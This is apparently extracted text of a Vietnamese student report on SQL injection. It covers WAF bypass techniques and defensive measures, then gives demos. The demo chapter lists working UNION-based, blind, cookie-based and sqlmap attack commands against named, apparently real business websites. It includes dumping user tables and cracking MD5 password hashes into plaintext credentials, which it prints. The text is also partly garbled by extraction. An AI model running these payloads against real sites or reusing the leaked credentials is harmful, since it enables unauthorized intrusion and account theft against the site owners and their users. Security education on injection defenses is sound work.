hoa viết thường hiểu khác Lúc thay sử dụng từ khóa: select, union… Chúng ta sử dụng: SeLEcT, UniOn… Cơ sở cách bypass hệ quản trị sở liệu không phân biệt hoa thường với từ khóa Trong số trường hợp, ứng dụng web lọc bỏ toàn hay phần từ khóa (union, select…) Ta bypass sau: id=1+uniunionon+SeLselectecT+1,2,3 Sau union, select bị lọc bỏ ứng dụng web, ta lại câu truy vấn sau: id=1+union+SeLecT+1,2,3 c Character encoding Chúng ta bypass WAF (Web Application Firewall) chặn từ khóa cách encode chúng Rất nhiều ứng dụng WAF decode truy vấn lần lọc bỏ từ khóa blacklist, encode lần request bypass trường hợp 2.4.5.3 Bypass chặn nháy đơn, nháy kép - Chúng ta xét ví dụ trước tìm hiểu cụ thể cách bypass Trong kịch này, biết bảng sở liệu có tên users Công việc phải biết tên cột bảng để lấy thơng tin Như câu truy vấn trên, sử dụng điều kiện: table_name='users' Nhưng dấu nháy đơn (') dấu nháy kép (") bị WAF chặn sử dụng 'users' hay "users" Vậy phải giải vấn đề nào? Trong hệ sở liệu built sẵn cho function giải tốt vấn đề hàm CHAR( ) (đối với Oracle CHR()) Ví dụ câu truy vấn bypass cách: Những lập trình viên php quen thuộc với hàm addslashes() Hàm addslashes() có tác dụng thêm vào trước ký tự đặc biệt nháy đơn ('), nháy kép ("), backslash (\), NUL (null byte) ký tự "\" giúp hệ quản trị sở liệu khơng gặp khó khăn nhầm lẫn xử lý chuỗi chứa ký tự Như vậy, muốn inject vào câu truy vấn theo kịch bản: name='someName' or '1'='1' kết khơng cịn mong đợi 2.4.5.4 Bypass lỗi “illegal mix of collation for operation UNION” Trong số hệ quản trị (thường thấy MySql), database, table set collation sử dụng từ khóa UNION bị báo lỗi "illegal mix of collation for operation UNION" Việc thiết lập collation (đối chiếu font mã hóa) chủ định người thiết kế sở liệu thiết lập mặc định MySql Trong trường hợp dùng union, phải đảm bảo điều kiện giá trị select trường phải có kiểu mã tương ứng định nghĩa Theo đánh giá, lỗi phổ biến, đặc biệt CMS chạy Apache MySql Mọi người tìm hiểu thêm địa chỉ: http://bugs.mysql.com/bug.php?id=57926 Trong trường hợp sử dụng cách convert thành kiểu mã hóa phù hợp Ví dụ trường hợp sau: Trong câu truy vấn trên, column1 set collation UnicodeUTF8 hay _latin1 chẳng hạn, select từ column2 phải convert thành mã tương ứng Ta ép kiểu sau: Chúng ta có thấy nhược điểm cách bypass phải biết mã collation _latin1 Một cách bypass theo tốt sử dụng hàm mã hóa giải mã hex unhex 2.4.6 Một số tool khai thác Hiện có nhiều cơng cụ qt lỗ hổng bảo mật (bao gồm SQL injection) Những công cụ cho phép phát vào khai thác lỗ hổng SQL injection mạnh mẽ Một số công cụ khai thác lỗ hổng SQL injection tự động hay sử dụng như: • Sqlmap • The Mole (Digging up your data) • Havij 2.5 Phương pháp phòng chống ngăn chặn Ngay từ khái niệm, biết cách phịng chống hiệu Sql injection việc kiểm tra kỹ tham số đầu vào Những tham số mà từ người lập trình website sử dụng để xây dựng lên câu truy vấn tới sở liệu Công việc kiểm tra tham số đầu vào (áp dụng phòng tránh lỗi Sql injection) nên tiến hành theo nhiều tầng: CLIENT: • Xây dựng lọc kiểm tra liệu đầu vào: kiểu liệu số, kiểu chuỗi phải có hàm validate tương ứng SERVER: • Lọc liệu từ người dùng: Cách phòng chống tương tự XSS Ta sử dụng filter để lọc kí tự đặc biệt (; ” ‘) từ khoá (SELECT, UNION) người dùng nhập vào, tham số từ url, giá trị từ cookie Nên sử dụng thư viện/function cung cấp framework Viết lại từ đầu vừa tốn thời gian vừa dễ sơ sót • Khơng cộng chuỗi để tạo SQL: Sử dụng parameter thay cộng chuỗi Nếu liệu truyền vào không hợp pháp, SQL Engine tự động báo lỗi, ta không cần dùng code để check Sử dụng Thay • Khơng hiển thị exception, message lỗi: Hacker dựa vào message lỗi để tìm cấu trúc database Khi có lỗi, ta thơng báo lỗi đừng hiển thị đầy đủ thông tin lỗi, tránh hacker lợi dụng • Phân quyền rõ ràng DB: Nếu truy cập liệu từ số bảng, tạo account DB, gán quyền truy cập cho account đừng dùng account root hay sa Lúc này, dù hacker có inject sql đọc liệu từ bảng chính, sửa hay xố liệu • Backup liệu thường xuyên: Dữ liệu phải thường xuyên backup để có bị hacker xố ta khơi phục DATABASE: • Mật khẩu: • Mật phải có độ dài tối thiểu kí tự trở lên • Phải có kí tự đặc biệt @ _ - • Phải có số [0123456789] • Sử dụng mật băm SHA-2, MD5 dần trở nên lỗi thời bị giải mã SỬ DỤNG HTACCESS: Thay đổi cách thể URL địa để dấu biến câu Query Ví dụ: Mặc định : http://example.com?id=123 Cách hiển thị khác: http:/example.com/example1 http:/example.com/abc/123 XÁC THỰC BÊN THỨ BA: Nên xem xét hồn tồn việc th ngồi tồn quy trình xác thực ứng dụng Facebook, Twitter Google cung cấp API OAuth thơng minh, sử dụng phép người dùng đăng nhập vào trang web bạn tài khoản có họ hệ thống Điều giúp bạn với tư cách nhà phát triển ứng dụng khỏi thực xác thực riêng bạn đảm bảo với người dùng bạn mật họ lưu trữ vị trí CHƯƠNG 3: DEMO Demo 1: Sử dụng Errod-Based SQl Injection Website : http://www.nhuaphucthinh.com.vn/product.php?id=11 Thử thêm đấu ‘ vào tham số id: http://www.nhuaphucthinh.com.vn/product.php?id=11’ Xác định số cột bảng www.nhuaphucthinh.com.vn/product.php?id=11 order by 12 lỗi www.nhuaphucthinh.com.vn/product.php?id=11 order by 11 không lỗi Vậy bảng có 11 cột Xác định cột bị lỗi in liệu http://www.nhuaphucthinh.com.vn/product.php?id=null union select 1,2,3,4,5,6,7,8,9,10,11 cột 3,5,6 bị lỗi, in liệu Sử dụng hàm database() để lấy tên database website www.nhuaphucthinh.com.vn/product.php?id=null union select 1,2,database(),4,5,6,7,8,9,10,11 nhuaphucth_inh Lấy tên bảng có database www.nhuaphucthinh.com.vn/product.php?id=null union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database() dùng group_concat để nối chuỗi Lấy tên cột có bảng user Dùng add-on Hackbar để encoded “user” thành mã hex, sau thêm 0x để trình duyệt hiểu www.nhuaphucthinh.com.vn/product.php?id=null union select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11 from information_schema.columns where table_name=0x75736572 Lấy ghi cột UseName UsePass bảng user www.nhuaphucthinh.com.vn/product.php?id=null union select 1,2,group_concat(UseName,'/',UsePass),4,5,6,7,8,9,10,11 from user Demo 2: sử dụng kĩ thuật Blind-SQl Injection Website: http://dason.com.vn/main.php?frame=product_detail HYPERLINK "http://dason.com.vn/main.php?frame=product_detail&id=37"& HYPERLINK "http://dason.com.vn/main.php? frame=product_detail&id=37"id=37 Vì website không xuất lỗi hiển thị lên cho người dùng (Error-based) nên ta sử dụng Boolean-Based để đoán tên bảng, cột đến record có bảng Phương pháp thời gian nên demo ngắn gọn sau dùng tool để khai khác Đầu tiên, đoán chữ tên bảng database: DASON.COM.VN/MAIN.PHP?FRAME=PRODUCT_DETAIL&ID=37 AND (SELECT(SUBSTRING(TABLE_NAME,1,1)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1) = 'A' Giải thích: Nếu chữ bảng ‘a’ website trả true, khơng bị lỗi substring(table_name,1,1) : lấy chữ tên bảng Limit 0,1 lấy tên bảng Ln có database tên “information_schema” lưu trữ thơng tin sở liệu bao gồm cấu hình, tên bảng, tên cột Như ta thấy, website khơng có lỗi chữ bảng ‘a’ Tương tự ta lấy chữ bảng đầu tiên: substring(table_name,1,2) (bắt đầu từ vị trí đầu tiên, độ dài 2) dason.com.vn/main.php?frame=product_detail&id=37 and (select(substring(table_name,1,2)) from information_schema.tables where table_schema=database() limit 0,1) = 'ac' đoán chữ ‘ac’ website bị lỗi ‘ac’ Tương tự với cách trên, sau tìm tên bảng ta tìm tên cột dason.com.vn/main.php?frame=product_detail&id=37 and (select(substring(column_name,1,1)) from information_schema.columns where table_name = 'member' limit 0,1) = 'i' (đốn kí tự cột bảng có tên ‘member’) Sau có thông tin bảng cột, ta đoán record http://dason.com.vn/main.php?frame=product_detail&id=37 and (select(substring(uid,1,1)) from member limit 1,1) = 'c' (lấy record cột ‘uid’ có bảng member so sánh với kí tự ‘c’, website hoạt động bình thường) khơng hiển thị hình ảnh sai Thử lại với từ khác dason.com.vn/main.php?frame=product_detail&id=37 and (select(substring(uid,1,1)) from member limit 1,1) = 'h' website hoạt động bình thường có chữ h Ta kết hợp với hàm length() để xác định độ dài ghi dason.com.vn/main.php?frame=product_detail&id=37 and (select(length(uid)) from member limit 1,1) >3 true dason.com.vn/main.php?frame=product_detail&id=37 and (select(length(uid)) from member limit 1,1) >4 false độ dài ghi cột uid bảng member kí tự Demo 3: SQL Injection Through Cookie(SQl Injection thông qua Cookie) Sử dụng add-on Cookie- Quick Manager firefox để edit cookie trước chúng gửi lên server website Thêm vào website cookie có name ‘id’ value đoạn mã SQL muốn inject, ‘40’ ’ để xem website có bị lỗi khơng Lưu lại sau refresh lại website: Website khơng hiển thị thơng tin ban đầu dính lỗi sql injection Tiếp tục inject phương pháp demo 2: Cookie: id=37 and (select(substring(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1) = 'a' Demo 4: Sử dụng tool SqlMap sqlmap.py -u "http://dason.com.vn/main.php?frame=product_detail&id=37" –dbs (-u: chọn url cần khai thác, dbs: liệt kê database) Kết quả: Liệt kê bảng có database ‘dasoncom_db’ sqlmap.py -u "http://dason.com.vn/main.php?frame=product_detail&id=37" tables -D dasoncom_db Kết quả: Liệt kê cột có bảng member sqlmap.py -u "http://dason.com.vn/main.php?frame=product_detail&id=37" tables -D dasoncom_db Liệt kê record cột uid, pwd bảng member: sqlmap.py -u "http://dason.com.vn/main.php?frame=product_detail&id=37" dump -D dasoncom_db -T member -C uid,pwd Mật bị mã hóa md5, thử tìm web xem có giải mã mật không: Vậy mật cuongvuilen4 123456789 Do mật md5 mã hóa chiều, khơng thể giải mã nên mật dễ đốn ta tìm thư viện Do người dùng phải đặt mật cẩn thận, khó đốn để tránh bị đánh cắp thơng tin tài khoản Đăng nhập: KẾT LUẬN Qua ba chương nghiên cứu có góc nhìn tổng quan ứng dụng web phương thức công Cụ thể là: -Hệ thống lại kiến thức tổng quan Web Cho thấy sơ lược bước công ứng dụng web hacker Giới thiệu phương pháp công ứng dụng Web điển hình mà Website gặp phải -SQL Injection tồn quanh ta nhiều thập kỷ tiếp tục đứng đầu bảng xếp hạng lỗ hổng nguy hiểm năm tới Chỉ vài bước dễ dàng –nhưng toan tính tốt – để bảo vệ bạn người dùng bạn khỏi công này, lỗ hổng ưu tiên hàng đầu kiểm tra mã nguồn cho lỗ hổng bảo mật -Phòng tránh: Việc cần làm để tránh trở thành nạn nhân công vi phạm liệu SQL injection kiểm soát xác nhận input người dùng, cần tự trang bị công cụ cần thiết để bảo vệ cho website chúng ghé thăm -Hạn chế: Do trang web ngày kiểm thử cách kĩ tồn loại tool phát lỗi SQL nên cơng trang web có cấu trúc đơn giản -Mục đích đạt được: Hiểu định nghĩa, cách thức hoạt động phương pháp công SQL, biết cách cơng đồng thời tìm cách thức phịng chống công -Hướng tương lai: Phát triển loại tool nhằm khai thác lỗ hổng SQL cách xác nhanh chóng TÀI LIỆU THAM KHẢO [1] https://whitehat.vn/threads/web1-sql-injection-con-duong-khai-thacpho-bien-qua-%E2%80%9Cuser-input%E2%80%9D.674/ [2] https://portswigger.net/web-security/sql-injection [3] http://sqlmap.org/ [4] https://resources.infosecinstitute.com/cookie-based-sql-injection/ ... dạng sau • In-band SQLi • Error-based SQLi • Union-based SQLi • Inferential SQLi (Blind SQLi) • Blind-boolean-based SQLi • Time-based-blind SQLi • Out-of-band SQLi 2.2.1 In-band SQLi Đây dạng công... inject • Injection through user input form fields • Injection through cookies • Injection through server variables (headers-based injections) Hình 21 Phân loại kiểu công SQL Injection SQL Injection. .. ASP.NET có khả bị công SQL injection Mức độ công SQL injection bị giới hạn bở kỹ kẻ cơng biện pháp đối phó, chẳng hạn kết nối đặc quyền đến máy chủ 2.2 Phân loại SQL injection SQL Injection kỹ thuật

Ngày đăng: 13/12/2020, 22:21

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan